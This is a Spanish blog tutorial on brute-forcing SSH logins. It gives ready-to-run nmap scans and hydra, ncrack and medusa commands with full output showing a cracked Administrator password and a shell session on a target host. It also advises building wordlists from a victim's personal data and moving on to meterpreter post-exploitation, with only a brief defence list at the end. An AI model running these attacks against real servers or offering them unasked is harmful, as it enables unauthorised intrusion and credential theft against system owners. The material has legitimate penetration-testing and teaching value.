Hacking SSH: obteniendo contraseñas de cualquier servidor mediante fuerza bruta

SSH

En un artículo anterior hablamos sobre la enumeración de usuarios SSH en un servidor usando metasploit, ahora bien, lo siguiente es, ¿qué hacemos teniendo los nombres de usuario de un servidor? ¿cual es el siguiente paso para obtener acceso?

· ¿Qué es SSH?

SSH es un acrónimo que significa Secure Shell, que proporciona un acceso de shell seguro a una máquina remota. Esto permite que las personas se conecten a una computadora local y remota, y se instala fácilmente en Linux/UNIX y también se puede instalar en máquinas con Windows. SSH también se refiere al conjunto de utilidades que implementan el protocolo o el protocolo de red criptográfico.

Lea [001]Hacking ético con Python: Utilización de sockets TCP y UDP

· ¿Uso de SSH?

SSH proporciona una autenticación sólida y protege las comunicaciones de datos cifrados entre dos computadoras que se conectan a través de una red insegura, como Internet. Es utilizado por todos los administradores del sistema y del servidor para conectarse a las máquinas remotas y ejecutar los comandos del sistema, mover, crear y editar diferentes archivos en la máquina remota.

Utiliza el algoritmo de cifrado RSA que crea un túnel irrompible entre la computadora cliente y la computadora remota y, como todos sabemos, nada es irrompible.

· ¿Qué es un ataque de fuerza bruta?

Los ataques de fuerza bruta funcionan probando cada combinación posible que el usuario podría usar como contraseña y luego la prueba para ver si es la contraseña correcta. Para ver si la contraseña es correcta o no, verifica si hay errores en la respuesta del servidor.

A medida que aumenta la longitud de la contraseña, la cantidad de tiempo utilizada para encontrar la contraseña correcta también aumenta rápidamente. Eso significa que las contraseñas cortas son bastante fáciles de descifrar.

- Método recomendado de fuerza bruta:

Así que en muchos casos, se recomienda usar el ataque de diccionario para forzar la contraseña correcta. En este método, proporcionamos las herramientas con la lista de posibles contraseñas para usar contra el sistema de destino hasta que obtenga la contraseña correcta para el usuario.

Esto funciona si el usuario está utilizando una contraseña débil como "123456" o "password", lo cual no es el caso hoy en día, pero aún algunas personas usan contraseñas como esta y hay un dicho que dice:

No hay solución para la estupidez humana.

· Fuerza bruta SSH:

Así que ahora sabes lo que es el ataque de fuerza bruta, avancemos al siguiente paso. Durante este artículo, usaremos un ataque de diccionario para obtener el nombre de usuario y la contraseña del usuario ssh remoto.

Para realizar este ataque, necesitará una lista de palabras que tenga una buena combinación de palabras y una contraseña de uso común y las herramientas con las que probaremos diferentes combinaciones con cada contraseña.

- Listas de palabras:

Un buen recurso para las listas de palabras se puede encontrar aquí PacketStorm.

También hay otra forma de crear su propia lista de palabras, ya que si conoce a la víctima, puede usar información como su nombre, fecha de nacimiento, nombre de los padres, hijos, mascotas y otra información relacionada con la víctima y podría usarse contra ellos.

Un ejemplo de la contraseña que podría ser como este "david0512 " donde david es el nombre del padre, 05 el mes, 12 año de nacimiento.

Un buen programa que le permite compilar estos datos en una lista de palabras la herramienta D0xk1t, que puede encontrar aquí.

También puedes descargar otras listas de palabras con estos comandos:

$ wget http://zeldor.biz/other/bruteforce/passlist.txt
$ wget https://downloads.skullsecurity.org/passwords/500-worst-passwords.txt.bz2

O visitando https://wiki.skullsecurity.org/Passwords

· Búsqueda de servidores SSH utilizando NMAP

Después de configurar sus herramientas de ataque, el siguiente paso a seguir es encontrar un servidor que ejecute SSH. Lo que podemos hacer para encontrar es usar NMAP para buscar el puerto abierto 22, debido a que la mayoría de servicios SSH escuchan en el puerto 22 (así viene la configuración por defecto y ya conocemos como son la mayoría de administradores).

Para encontrar el servidor que ejecuta SSH localmente, vamos a escanear toda la red 192.168.0.1/24 con nmap, adicionalmente agregaremos un flag para que solo nos muestre puertos abiertos.

$ nmap 192.168.0.1/24 -p 22 --open
Starting Nmap 7.70 ( https://nmap.org ) at 2018-10-14 01:16 -05
Nmap scan report for 192.168.0.7
Host is up (0.00017s latency).

PORT   STATE SERVICE
22/tcp open  ssh

Nmap scan report for 192.168.0.8
Host is up (0.00015s latency).

PORT   STATE SERVICE
22/tcp open  ssh

Nmap done: 256 IP addresses (6 hosts up) scanned in 40.77 seconds

· Ejecutando escaneo en Servidor Remoto

Ahora, si queremos probar el ataque en un servidor remoto, entonces tendrá que escanear el servidor en busca de puertos abiertos como el servicio SSH. Aquí se explica cómo puede escanear el servidor remoto usando nmap.

$ nmap $servidor -p 22

Tenga en cuenta que el servidor puede tener SSH corriendo en otro puerto diferente al 22, así que puede aumentar el rango de puertos añadiendo la opción -p $puerto_inicial-$puerto_final, por ejemplo: -p 1-10000

· Cómo realizar el ataque fuerza bruta a SSH

Esta es la parte que nos gusta, hablaremos sobre las herramientas que usaremos para realizar el ataque de fuerza bruta.

- Hydra

Entonces, las primeras herramientas, veremos la herramienta Hydra más común y poderosa. Si está utilizando Kali Linux o BlackArch, ya tendrá acceso a esta herramienta. Si no está instalada, puede buscar como hacerlo para su distribución.

Una vez instalado, el comando que usaremos para realizar el ataque es:

$ hydra -l $usuario -P '/ruta/al/diccionario' $Ip-Victima ssh

En nuestro caso, tenemos dos máquinas con SSH corriendo, una con IP 192.168.0.7 y la otra 192.168.0.8, el comando sería el siguiente:

$ hydra -l Administrator -P '/home/sechacklabs/passwords.txt' 192.168.0.7 ssh

Obtenemos lo siguiente:

[email protected] ~ ->
 ➤➤➤➤ ▶ hydra -l Administrator -P '/home/sechacklabs/passwords.txt' 192.168.0.7 ssh
Hydra v8.6 (c) 2017 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2018-10-14 01:32:57
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 16 login tries (l:1/p:16), ~1 try per task
[DATA] attacking ssh://192.168.0.7:22/
[22][ssh] host: 192.168.0.7   login: Administrator   password: vagrant
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 1 final worker threads did not complete until end.
[ERROR] 1 target did not resolve or could not be connected
[ERROR] 16 targets did not complete
Hydra (http://www.thc.org/thc-hydra) finished at 2018-10-14 01:32:58

Nos damos cuenta que el ataque ha sido exitoso, se ha encontrado el usuario y contraseña, ahora intentaremos conectarnos.

[email protected] ~ ->
 ➤➤➤➤ ▶ ssh [email protected]
The authenticity of host '192.168.0.7 (192.168.0.7)' can't be established.
ECDSA key fingerprint is SHA256:y38rdxQJQBHHBysk1nQtkVa5UyCvZrLwlGHVDJUcCFE.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '192.168.0.7' (ECDSA) to the list of known hosts.
[email protected]'s password: 
-sh-4.3$ bash
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Users\Administrator>dir   
 Volume in drive C is Windows 2008R2
 Volume Serial Number is E805-EC8F

 Directory of C:\Users\Administrator

10/11/2018  03:27 PM    <DIR>          .
10/11/2018  03:27 PM    <DIR>          ..
10/11/2018  03:27 PM    <DIR>          Contacts
10/11/2018  03:27 PM    <DIR>          Desktop
10/11/2018  03:27 PM    <DIR>          Documents
10/11/2018  03:27 PM    <DIR>          Downloads
10/11/2018  03:27 PM    <DIR>          Favorites
10/11/2018  03:27 PM    <DIR>          Links
10/11/2018  03:27 PM    <DIR>          Music
10/11/2018  03:27 PM    <DIR>          Pictures
10/11/2018  03:27 PM    <DIR>          Saved Games
10/11/2018  03:27 PM    <DIR>          Searches
10/11/2018  03:27 PM    <DIR>          Videos
               0 File(s)              0 bytes
              13 Dir(s)  48,119,791,616 bytes free

C:\Users\Administrator>whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                  Description                               State   
=============================== ========================================= ========
SeIncreaseQuotaPrivilege        Adjust memory quotas for a process        Disabled
SeSecurityPrivilege             Manage auditing and security log          Disabled
SeTakeOwnershipPrivilege        Take ownership of files or other objects  Disabled
SeLoadDriverPrivilege           Load and unload device drivers            Disabled
SeSystemProfilePrivilege        Profile system performance                Disabled
SeSystemtimePrivilege           Change the system time                    Disabled
SeProfileSingleProcessPrivilege Profile single process                    Disabled
SeIncreaseBasePriorityPrivilege Increase scheduling priority              Disabled
SeCreatePagefilePrivilege       Create a pagefile                         Disabled
SeBackupPrivilege               Back up files and directories             Enabled 
SeRestorePrivilege              Restore files and directories             Enabled 
SeShutdownPrivilege             Shut down the system                      Disabled
SeDebugPrivilege                Debug programs                            Enabled 
SeSystemEnvironmentPrivilege    Modify firmware environment values        Disabled
SeChangeNotifyPrivilege         Bypass traverse checking                  Enabled 
SeRemoteShutdownPrivilege       Force shutdown from a remote system       Disabled
SeUndockPrivilege               Remove computer from docking station      Disabled
SeManageVolumePrivilege         Perform volume maintenance tasks          Disabled
SeImpersonatePrivilege          Impersonate a client after authentication Enabled 
SeCreateGlobalPrivilege         Create global objects                     Enabled 
SeIncreaseWorkingSetPrivilege   Increase a process working set            Disabled
SeTimeZonePrivilege             Change the time zone                      Disabled
SeCreateSymbolicLinkPrivilege   Create symbolic links                     Disabled

C:\Users\Administrator>

Ahora que ya tenemos acceso a un equipo dentro de la red, podríamos escanear por equipos que estén conectados al mismo e iniciar un ataque a gran escala, aunque lo más recomendable es establecer una conexión meterpreter para que el proceso de post-explotación sea más sencillo.

- NCrack

La segunda herramienta que usaremos se llama NCrack. También se incluye en Kali Linux y BlackArch, también puede instalarla en otras distribuciones.

Para lanzar el ataque con Ncrack escribimos lo siguiente:

$ ncrack -p 22 --user $usuario -P '/ruta/a/las/passwords.txt' $IP-Victima

En nuestro caso sería:

$ ncrack -p 22 --user Administrator -P '/home/sechacklabs/passwords.txt' 192.168.0.7

Y obtenemos esto:

[email protected] ~ ->
 ➤➤➤➤ ▶ ncrack -p 22 --user Administrator -P '/home/sechacklabs/passwords.txt' 192.168.0.7

Starting Ncrack 0.6 ( http://ncrack.org ) at 2018-10-14 01:47 -05

Discovered credentials for ssh on 192.168.0.7 22/tcp:
192.168.0.7 22/tcp ssh: 'Administrator' 'vagrant'

Ncrack done: 1 service scanned in 3.00 seconds.

Ncrack finished.

Y listo, tenemos la contraseña.

- Medusa

Esta es la última herramienta que se puede usar para forzar la entrada, para instalarla se hace así:

# Kali Linux
$ apt install medusa

# BlackArch
$ pacman -Syu medusa

Una vez instalada, el comando para lanzar el ataque es:

$ medusa -u $user -P '/ruta/a/las/passwords.txt' -h $IP-Victima -M ssh

Para nuestro caso sería:

$ medusa -u Administrator -P '/home/sechacklabs/passwords.txt' -h 192.168.0.7 -M ssh

Y obtenemos lo siguiente:

[email protected] ~ ->
 ➤➤➤➤ ▶ medusa -u Administrator -P '/home/sechacklabs/passwords.txt' -h 192.168.0.7 -M ssh
Medusa v2.2 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <[email protected]>

ACCOUNT CHECK: [ssh] Host: 192.168.0.7 (1 of 1, 0 complete) User: Administrator (1 of 1, 0 complete) Password: asfasfsafsa (1 of 16 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.0.7 (1 of 1, 0 complete) User: Administrator (1 of 1, 0 complete) Password: sdasdsa (2 of 16 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.0.7 (1 of 1, 0 complete) User: Administrator (1 of 1, 0 complete) Password: 3243433 (3 of 16 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.0.7 (1 of 1, 0 complete) User: Administrator (1 of 1, 0 complete) Password: Administrator (4 of 16 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.0.7 (1 of 1, 0 complete) User: Administrator (1 of 1, 0 complete) Password: sfdf (5 of 16 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.0.7 (1 of 1, 0 complete) User: Administrator (1 of 1, 0 complete) Password: admin (6 of 16 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.0.7 (1 of 1, 0 complete) User: Administrator (1 of 1, 0 complete) Password: vagrant (7 of 16 complete)
ACCOUNT FOUND: [ssh] Host: 192.168.0.7 User: Administrator Password: vagrant [SUCCESS]

· ¿Cómo protegerse de este ataque?

Los métodos más recomendados que debe usar para protegerse de este ataque son:

  • Ejecute SSH en un puerto no estándar. (Aparte de 22)
  • Bloquear el inicio de sesión SSH para el usuario root .
  • Utilice Fail2Ban.
  • Limitar los intentos de inicio de sesión del usuario.

Entonces, ¿qué aprendimos de todo esto? Nunca use una contraseña débil, en serio nunca use contraseñas débiles. Lea Autenticación de dos factores, protegiendo sus cuentas de los hackers

Y, por otro lado, hemos aprendido cómo puede usar diferentes herramientas para probar y explotar este problema.

Síguenos en FacebookTwitterunete a nuestro chat en Discord y no olvides compartirnos en las redes sociales. También puede hacernos una donación o comprar nuestros servicios.

Acerca del autor

Especialista en Seguridad Informática bajo certificación OSCP, experto en técnicas de privacidad y seguridad en la red, desarrollador back-end, miembro de la FSF y Fundador de Security Hack Labs. Desarrollador de la distribución de hacking BlackArch Linux. Twitter: @edu4rdshl XMPP/Email: [email protected]